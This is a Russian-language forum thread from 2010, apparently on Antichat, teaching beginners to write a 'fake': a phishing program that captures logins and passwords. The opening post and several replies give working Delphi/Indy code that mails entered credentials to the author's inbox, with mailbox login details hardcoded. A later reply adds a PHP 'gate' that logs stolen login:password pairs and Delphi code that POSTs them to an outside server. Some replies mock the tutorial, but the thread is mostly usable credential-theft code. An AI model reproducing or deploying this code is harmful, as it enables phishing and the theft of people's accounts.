ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Как написать фейк (для новичков). |
07.03.2010, 20:00
|
|
Участник форума
Регистрация: 17.05.2009
Сообщений: 160
Провел на форуме:
1724758
Репутация:
222
|
|
Как написать фейк (для новичков).
Вообщем хочу показать новичкам как быстро и легко написать фейк.
И так, начнём! 1) Кидаем на форму компонент IdSMTP, IdMessage и IdAntiFreeze
2) Кидаем на форму 2 компонента Edit и компонент Button
3) Прописываем код кнопке button приведенный ниже:
procedure TForm1.Button1Click(Sender: TObject);
begin
IdSMTP1.Host:='smtp.mail.ru'; // Хост
IdSMTP1.Port:=25; // Порт
IdSMTP1.Username:='fakeforyou'; // Логин рабочего мыла
IdSMTP1.Password:='ghbdtn'; // Пароль рабочего мыла
IdMessage1.Body.Text:='Login: '+Edit1.Text+' Pass: ' + (Edit2.Text); // Текст который будет приходить на мыло
IdMessage1.From.Text:='fakeforyou@mail.ru'; // Мыло с которого отправляем сообщение
IdMessage1.Recipients.EMailAddresses:='fakeforyou1 @mail.ru'; // Мыло на которое отправляем сообщение
IdMessage1.Subject:='Fake'; // Тема сообщения
IdSMTP1.Connect(); // коннектимся
if IdSMTP1.Connected=true then // Если подключились то
IdSMTP1.Send(IdMessage1); // Отправляем сообщение
IdSMTP1.Disconnect // Отключаемся
end;
end.
Вот впринцыпе и всё что нужно, а вот дизайн вы уже думайте сами!
Вот набросал кое что ссылка (прошу не критиковать, дизайн писался на скорую руку)
|
|
|
07.03.2010, 20:16
|
|
Познающий
Регистрация: 05.02.2010
Сообщений: 59
Провел на форуме:
360122
Репутация:
41
|
|
отличная статья! не то что некоторые пишут - всё коротко и ясно!!
|
|
|
|
07.03.2010, 20:28
|
|
Reservists Of Antichat - Level 6
Регистрация: 12.02.2006
Сообщений: 891
Провел на форуме:
1892597
Репутация:
836
|
|
https://forum.antichat.ru/thread182693.html
читаем, фейкмейреры, завязывайте уже фигней страдать.
__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...
|
|
|
|
08.03.2010, 10:52
|
|
Новичок
Регистрация: 27.02.2010
Сообщений: 22
Провел на форуме:
20001
Репутация:
3
|
|
Если у кого то приходит вместо текста ?????????
то добавте этот код
IdMessage1.CharSet:='windows-1251';
|
|
|
|
08.03.2010, 12:07
|
|
Участник форума
Регистрация: 18.04.2009
Сообщений: 120
Провел на форуме:
435863
Репутация:
80
|
|
ОМГ, ребята, реально, заканчивайте фигней страдать. Ты не описал принцип работы, по каком протоколу работает, основные функции, и т.д. Вообще ни черта не вижу. Кусок кода, который может написать любой школьник, знающий о существовании компонентов Indy. Это даже не основы, это просто примитив. Фигею...
Последний раз редактировалось Sams; 08.03.2010 в 12:09..
|
|
|
|
08.03.2010, 19:52
|
|
Участник форума
Регистрация: 25.11.2009
Сообщений: 201
Провел на форуме:
866555
Репутация:
226
|
|
тeм болee инди встроeнный в дeлфи(сeмeрку по крaйнeй мeрe) довпльно корявый, знaчит eго нaдо обновить, a тe кто знaют, кaк обновить инди смогут сaми нaписaть тaкой "фейк"
|
|
|
|
08.03.2010, 21:43
|
|
Познающий
Регистрация: 18.07.2009
Сообщений: 66
Провел на форуме:
464381
Репутация:
10
|
|
когда я был знаком с Cи билдером 2 часа я нагуглил этот код мешьше чем за минуту ) но для новичков сойдет полюбэ )
|
|
|
|
08.03.2010, 23:53
|
|
Участник форума
Регистрация: 25.11.2009
Сообщений: 201
Провел на форуме:
866555
Репутация:
226
|
|
по моему даже можно зайти в демки indy и больше наковырять)
|
|
|
|
10.03.2010, 21:34
|
|
Участник форума
Регистрация: 20.02.2010
Сообщений: 121
Провел на форуме:
496930
Репутация:
60
|
|
Кстате код ТСа не совсем полный, отсутствует одна очень важная строчка,
помните когда отправку писем сделали с atlogin?
ага)
вот)
ловите полный код, прежде чем его копировать, киньте на форму idsmtp и idmessage во вкладках indy
весь код копируем  на баттан1
idsmtp1.host :=' '; //сервер отправки у mail.ru - smtp.mail.ru
idsmtp1.port:=25; // порт, у каждого разный но многие используют 25 и 2525
idsmtp1.username:=' '; //логин на почтовом сервере (без @mail.ru)например
idsmtp1.password:='*****'; //паролец от мыла с которого будет идти отчёт
idSMTP1.AuthenticationType:=atLogin; // ОЧЕНЬ ВАЖНАЯ СТРОКА
idmessage1.Body.text:='мыло ' + sedit1.text + ' пароль ' + sedit2.text; //в письмо идёт инфа из едит1 и едит2
idmessage1.from.Text:=' '; //emai который отправляет письмо
idmessage1.recipients.EMailAddresses:=' '; //emai который получает письмо
idmessage1.subject:='тест'; //тема письма
idsmtp1.connect();
idsmtp1.send(idmessage1);
idsmtp1.disconnect; |
|
|
|
10.03.2010, 21:46
|
|
Постоянный
Регистрация: 20.01.2010
Сообщений: 338
Провел на форуме:
500264
Репутация:
69
|
|
чуваки))) двайе не будем мозги ипать)))
вот код для отправки на гейт))
вод код гейта
PHP код:
<?php
error_reporting(0);
$accs = 'good.txt';
$good = fopen($accs,"a+");
if(!empty($_POST['login']) && !empty($_POST['password'])) {
fwrite($good, "$_POST[login]:$_POST[password]\n");
}
fclose($good);
fclose($bad);
if(isset($_GET['act']) && $_GET['act'] == 'show') {
$file = str_replace("\n",'<br />', file_get_contents('good.txt'));
echo $file;
}
вот код отправки
Код:
uses idHTTP;
procedure Button1Click(sener: TObject);
var
HTTP: TidHTTP;
Data: TStringList;
begin
HTTP := TidHTTP.Create(nil);
Data := TStringList.Create;
with Data do
begin
Add('login=' + edit1.text);
Add('pass=' + edit2.text);
end;
HTTP.Post('http://site.ru/gate.php', Data);
Data.Free;
HTTP.Free;
end;
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
